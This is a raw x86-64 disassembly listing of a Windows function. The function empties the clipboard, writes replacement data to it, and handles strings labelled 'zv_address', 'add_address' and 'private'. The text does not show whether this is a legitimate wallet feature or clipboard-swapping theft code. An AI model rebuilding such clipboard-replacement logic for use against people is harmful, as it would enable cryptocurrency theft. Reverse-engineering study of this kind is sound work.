btr r13d, 0xa
lea rdx, [rbp - 0x10]
cmp qword [rbp + 8], 0xf
cmova rdx, qword [rbp - 0x10]
lea rcx, [rbp + 0x60]
movq r8, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0xf
cmova rcx, r8
movq r8, xmm1
cmp r8, qword [rbp]
jne 0x14007c58a
call fcn.1401bb080
test eax, eax
jne 0x14007c58a
add r14, 0x48
cmp r14, rsi
jne 0x14007c480
jmp 0x14007cfcd
cmp byte [0x140362c00], 0
je 0x14007cf76
lea rcx, [r14 + 0x28]
lea rdx, [0x14036a530]
call fcn.140082ba0
test al, al
jne 0x14007c5c3
lea rcx, [r14 + 0x28]
lea rdx, [0x14036a390]
call fcn.140082ba0
test al, al
je 0x14007cf76
lea rdx, [rbp + 0xe0]
lea rcx, [rsp + 0x70]
call fcn.14007a540
nop
movzx r8d, byte [rsp + 0x40]
mov rdx, rax
lea rcx, [rbp + 0x160]
call fcn.14007a600
nop
lea rcx, [rsp + 0x70]
call fcn.140076210
mov dl, 1
call fcn.14007e830
lea rcx, [0x140362c80]
call fcn.14007f5a0
lea rcx, [0x140362c60]
call fcn.14007f5a0
lea rcx, [rbp + 0x80]
call fcn.14007d370
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x80], xmm1
xor r12d, r12d
mov qword [rbp + 0x90], r12
mov esi, r12d
mov dword [rbp + 0x40], r12d
lea rax, [r14 + 0x28]
mov r15, qword [rbp + 0x170]
mov rcx, qword [rbp + 0x160]
mov qword [rbp - 0x20], rcx
nop dword [rax]
nop word [rax + rax]
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], r12
lea r12, [rbp + 0x160]
cmp qword [rbp + 0x178], 0xf
cmova r12, rcx
movabs rcx, 0x7fffffffffffffff
cmp r15, rcx
ja 0x14007d1da
cmp r15, 0xf
ja 0x14007c6b5
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x58], recv
movups xmm0, xmmword [r12]
movaps xmmword [rbp - 0x70], xmm0
jmp 0x14007c74d
mov rsi, r15
or rsi, 0xf
cmp rsi, rcx
jbe 0x14007c6d4
mov rsi, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x14007c704
cmp rsi, 0x16
mov eax, 0x16
cmovb rsi, rax
lea rcx, [rsi + 1]
test rcx, rcx
jne 0x14007c6ee
xor eax, eax
jmp 0x14007c72b
cmp rcx, 0x1000
jb 0x14007c726
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14007d15b
mov rcx, rax
call fcn.1401855b0
mov rcx, rax
test rax, rax
je 0x14007d155
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14007c72b
call fcn.1401855b0
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x58], rsi
lea r8, [r15 + 1]
mov rdx, r12
mov rcx, rax
call fcn.1401ba640
mov esi, dword [rbp + 0x40]
lea rax, [r14 + 0x28]
movzx ecx, byte [rsp + 0x40]
mov byte [rbp - 0x50], cl
mov rdx, rax
lea rcx, [rbp - 0x48]
call fcn.14007f7c0
nop
mov ecx, 0x50
call fcn.1401855b0
movaps xmm0, xmmword [rbp - 0x70]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [rbp - 0x60]
movups xmmword [rax + 0x10], xmm1
xor r12d, r12d
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], recv
mov byte [rbp - 0x70], r12b
movzx ecx, byte [rbp - 0x50]
mov byte [rax + 0x20], cl
movups xmm0, xmmword [rbp - 0x48]
movups xmmword [rax + 0x28], xmm0
movups xmm1, xmmword [rbp - 0x38]
movups xmmword [rax + 0x38], xmm1
mov qword [rbp - 0x38], r12
mov qword [rbp - 0x30], recv
mov byte [rbp - 0x48], r12b
lea rcx, [0x14007a6b0]
mov qword [rax + 0x48], rcx
mov qword [rbp + 0x40], rax
bts r13d, 0xb
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x140086f10]
xor edx, edx
xor ecx, ecx
call fcn.14018ed90
mov qword [rsp + 0x60], rax
test rax, rax
je 0x14007d1ca
mov rdx, qword [rbp + 0x88]
cmp rdx, qword [rbp + 0x90]
je 0x14007c824
xorps xmm0, xmm0
movaps xmm1, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
movups xmmword [rdx], xmm1
add qword [rbp + 0x88], 0x10
jmp 0x14007c836
lea r8, [rsp + 0x60]
lea rcx, [rbp + 0x80]
call fcn.140085c10
nop
cmp dword [rsp + 0x68], 0
jne 0x14007d1c4
lea rcx, [rbp - 0x70]
call fcn.14007b0c0
inc esi
mov dword [rbp + 0x40], esi
cmp esi, 0x14
lea rax, [r14 + 0x28]
mov rcx, qword [rbp - 0x20]
jl 0x14007c660
mov rsi, qword [rbp + 0x80]
mov r15, qword [rbp + 0x88]
cmp rsi, r15
je 0x14007c8b4
cmp dword [rsi + 8], 0
je 0x14007d177
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [rsi + 8], eax
je 0x14007d16c
movups xmm0, xmmword [rsi]
movaps xmmword [rbp + 0x40], xmm0
xor edx, edx
lea rcx, [rbp + 0x40]
call fcn.14018877c
test eax, eax
jne 0x14007d161
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
add rsi, 0x10
cmp rsi, r15
jne 0x14007c873
mov r15b, 1
lea rcx, [0x140362c80]
cmp qword [0x140362c98], 0xf
cmova rcx, qword [0x140362c80]
mov rsi, qword [0x140362c90]
test rsi, rsi
jne 0x14007c8ed
mov r8, rsi
lea rdx, [0x140347905]
call fcn.1401bb080
test eax, eax
je 0x14007c920
lea rcx, [0x140362c60]
cmp qword [0x140362c78], 0xf
cmova rcx, qword [0x140362c60]
mov r8, qword [0x140362c70]
test r8, r8
jne 0x14007c952
lea rdx, [0x140347905]
call fcn.1401bb080
test eax, eax
jne 0x14007c952
lea rdx, [r14 + 0x28]
lea r14, [0x140362c80]
cmp r14, rdx
je 0x14007c94d
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0xf
jbe 0x14007c93e
mov rdx, qword [rdx]
mov rcx, r14
call fcn.1400812f0
mov rsi, qword [0x140362c90]
xor r15b, r15b
jmp 0x14007c959
lea r14, [0x140362c80]
lea rdx, [rsi + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rsi, rax
test rax, rax
je 0x14007c9be
mov rdx, r14
cmp qword [0x140362c98], 0xf
cmova rdx, qword [0x140362c80]
mov r8, qword [0x140362c90]
inc r8
mov rcx, rax
call fcn.1401ba640
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, rsi
mov r12d, 1
mov ecx, r12d
call qword [sym.imp.USER32.dll_SetClipboardData]
call qword [sym.imp.USER32.dll_GetClipboardSequenceNumber]
mov dword [0x14036a2f4], eax
call qword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x14007c9c4
mov r12d, 1
xor esi, esi
test r15b, r15b
je 0x14007ceb9
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], rsi
mov qword [rbp + 0x38], recv
mov byte [rbp + 0x20], sil
movabs rax, 0x7fffffffffffffff
mov rcx, qword [rbp + 0xc8]
sub rax, rcx
cmp byte [rbp - 0x18], 1
jne 0x14007cc37
cmp rax, 0xb
jb 0x14007d18e
lea r9, [rbp + 0xb8]
cmp qword [rbp + 0xd0], 0xf
cmova r9, qword [rbp + 0xb8]
mov qword [rsp + 0x30], recv
lea rax, str.zv_address
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0xb8]
movzx edx, bl
lea rcx, [rsp + 0x70]
call fcn.1400853e0
or r13d, 4
mov rdx, r14
cmp qword [0x140362c98], 0xf
cmova rdx, qword [0x140362c80]
mov r8, qword [0x140362c90]
lea rcx, [rsp + 0x70]
call fcn.140081450
xorps xmm0, xmm0
movups xmmword [rbp + 0x98], xmm0
mov qword [rbp + 0xa8], rsi
mov qword [rbp + 0xb0], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x98], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xa8], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], recv
mov byte [rax], sil
or r13d, 8
mov r8d, 9
lea rdx, str.private
lea rcx, [rbp + 0x98]
call fcn.140081450
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], rsi
mov qword [rbp + 0x58], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x50], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], recv
mov byte [rax], sil
or r13d, 0x10
lea rdx, [0x140362c60]
cmp qword [0x140362c78], 0xf
cmova rdx, qword [0x140362c60]
mov r8, qword [0x140362c70]
lea rcx, [rbp + 0x40]
call fcn.140081450
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], recv
mov byte [rax], sil
or r13d, 0x20
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm1
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x14007cb89
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007cb84
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007d182
call fcn.1401855ec
mov qword [rbp + 0x50], rsi
mov qword [rbp + 0x58], recv
mov byte [rbp + 0x40], 0
mov rdx, qword [rbp + 0xb0]
cmp rdx, 0xf
jbe 0x14007cbda
inc rdx
mov rcx, qword [rbp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007cbd5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007d188
call fcn.1401855ec
mov qword [rbp + 0xa8], rsi
mov qword [rbp + 0xb0], recv
mov byte [rbp + 0x98], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x14007ce66
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007ce61
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007d125
jmp 0x14007ce61
cmp rax, 0xc
jb 0x14007d1ac
lea r9, [rbp + 0xb8]
cmp qword [rbp + 0xd0], 0xf
cmova r9, qword [rbp + 0xb8]
mov qword [rsp + 0x30], recv
lea rax, str.add_address
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0xb8]
movzx edx, dil
lea rcx, [rsp + 0x70]
call fcn.1400853e0
bts r13d, 7
mov rdx, r14
cmp qword [0x140362c98], 0xf
cmova rdx, qword [0x140362c80]
mov r8, qword [0x140362c90]
lea rcx, [rsp + 0x70]
call fcn.140081450
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], rsi
mov qword [rbp + 0x58], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x50], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], recv
mov byte [rax], 0
bts r13d, 8
mov r8d, 9
lea rdx, str.private
lea rcx, [rbp + 0x40]
call fcn.140081450
xorps xmm0, xmm0
movups xmmword [rbp + 0x98], xmm0
mov qword [rbp + 0xa8], rsi
mov qword [rbp + 0xb0], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x98], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xa8], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], recv
mov byte [rax], 0
bts r13d, 9
lea rdx, [0x140362c60]
cmp qword [0x140362c78], 0xf
cmova rdx, qword [0x140362c60]
mov r8, qword [0x140362c70]
lea rcx, [rbp + 0x98]
call fcn.140081450
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], recv
mov byte [rax], 0
or r13d, 0x40
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm1
mov rdx, qword [rbp + 0xb0]
cmp rdx, 0xf
jbe 0x14007cdc6
inc rdx
mov rcx, qword [rbp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007cdc1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007d194
call fcn.1401855ec
mov qword [rbp + 0xa8], rsi
mov qword [rbp + 0xb0], recv
mov byte [rbp + 0x98], 0
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x14007ce1a
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007ce15
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007d19a
call fcn.1401855ec
mov qword [rbp + 0x50], rsi
mov qword [rbp + 0x58], recv
mov byte [rbp + 0x40], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x14007ce66
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007ce61
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007d1a0
call fcn.1401855ec
lea rdx, [rbp + 0x20]
lea rcx, [rsp + 0x70]
call fcn.14007f7c0
mov rcx, rax
call fcn.140079100
nop
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x14007ceb9
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007ceb3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007d1a6
call fcn.1401855ec
nop
mov rcx, qword [rbp + 0x80]
test rcx, rcx
je 0x14007cf31
mov rax, rcx
mov rdx, qword [rbp + 0x88]
cmp rcx, rdx
je 0x14007cee7
cmp dword [rax + 8], 0
jne 0x14007d1b2
add rax, 0x10
cmp rax, rdx
jne 0x14007ced4
mov rdx, qword [rbp + 0x90]
sub rdx, rcx
and rdx, 0xfffffffffffffff0
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007cf1a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007d1b8
call fcn.1401855ec
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x90], rsi
mov rax, qword [rbp + 0x178]
cmp rax, 0xf
jbe 0x14007cfcd
lea rdx, [rax + 1]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007cf6f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007d1be
call fcn.1401855ec
jmp 0x14007cfcd
mov rdx, qword [rbp + 0x70]
inc rdx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov r14, rax
test rax, rax
je 0x14007cfcd
mov rsi, qword [rbp + 0x70]
lea rcx, [rbp + 0x60]
call fcn.14007f550
mov rdx, rax
lea r8, [rsi + 1]
mov rcx, r14
call fcn.1401ba640
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, r14
mov ecx, r12d
call qword [sym.imp.USER32.dll_SetClipboardData]
call qword [sym.imp.USER32.dll_GetClipboardSequenceNumber]
mov dword [0x14036a2f4], eax
call qword [sym.imp.USER32.dll_CloseClipboard]
call qword [sym.imp.USER32.dll_GetClipboardSequenceNumber]
mov dword [0x14036a2f4], eax
call qword [sym.imp.USER32.dll_CloseClipboard]
nop
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0xf
jbe 0x14007d022
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007d01c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007d1e0
call fcn.1401855ec
nop
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x14007d05d
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007d058
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007d1e6
call fcn.1401855ec
xor r15d, r15d
mov qword [rbp + 0x70], r15
mov qword [rbp + 0x78], recv
mov byte [rbp + 0x60], r15b
cmp byte [rbp + 0x10], r15b
je 0x14007c3b5
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x14007c3b5
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007d0b4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007d1ec
call fcn.1401855ec
jmp 0x14007c3b5
call qword [sym.imp.USER32.dll_GetClipboardSequenceNumber]
mov dword [0x14036a2f4], eax
call qword [sym.imp.USER32.dll_CloseClipboard]
nop
cmp byte [rbp + 0x10], 0
je 0x14007c3b5
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x14007c3b5
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007d115
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007d1f2
call fcn.1401855ec
jmp 0x14007c3b5
call fcn.14018e414
nop
call fcn.14018e414
nop
call fcn.14018e414
int3
call fcn.140082240
nop
call fcn.14018e414
nop
call fcn.14018e414
int3
call fcn.14018e414
nop
call fcn.14018e414
nop
call fcn.14018e414
nop
call fcn.14018e414
int3
call fcn.140075f40
int3
mov ecx, 2
call fcn.1401878ec
int3
mov ecx, 5
call fcn.1401878ec
int3
mov ecx, 1
call fcn.1401878ec
nop
call fcn.14018e414
nop
call fcn.14018e414
nop
call fcn.140075fe0
nop
call fcn.14018e414
nop
call fcn.14018e414
nop
call fcn.14018e414
nop
call fcn.14018e414
nop
call fcn.140075fe0
nop
call fcn.140194bdc
int3
call fcn.14018e414
nop
call fcn.14018e414
nop
call fcn.140194bdc
nop
mov dword [rsp + 0x68], r12d
mov ecx, 6
call fcn.1401878ec
nop
call fcn.140075fe0
nop
call fcn.14018e414
nop
call fcn.14018e414
nop
call fcn.14018e414
int3
call fcn.14018e414
nop
call fcn.14018e414
nop
call fcn.14018e414
int3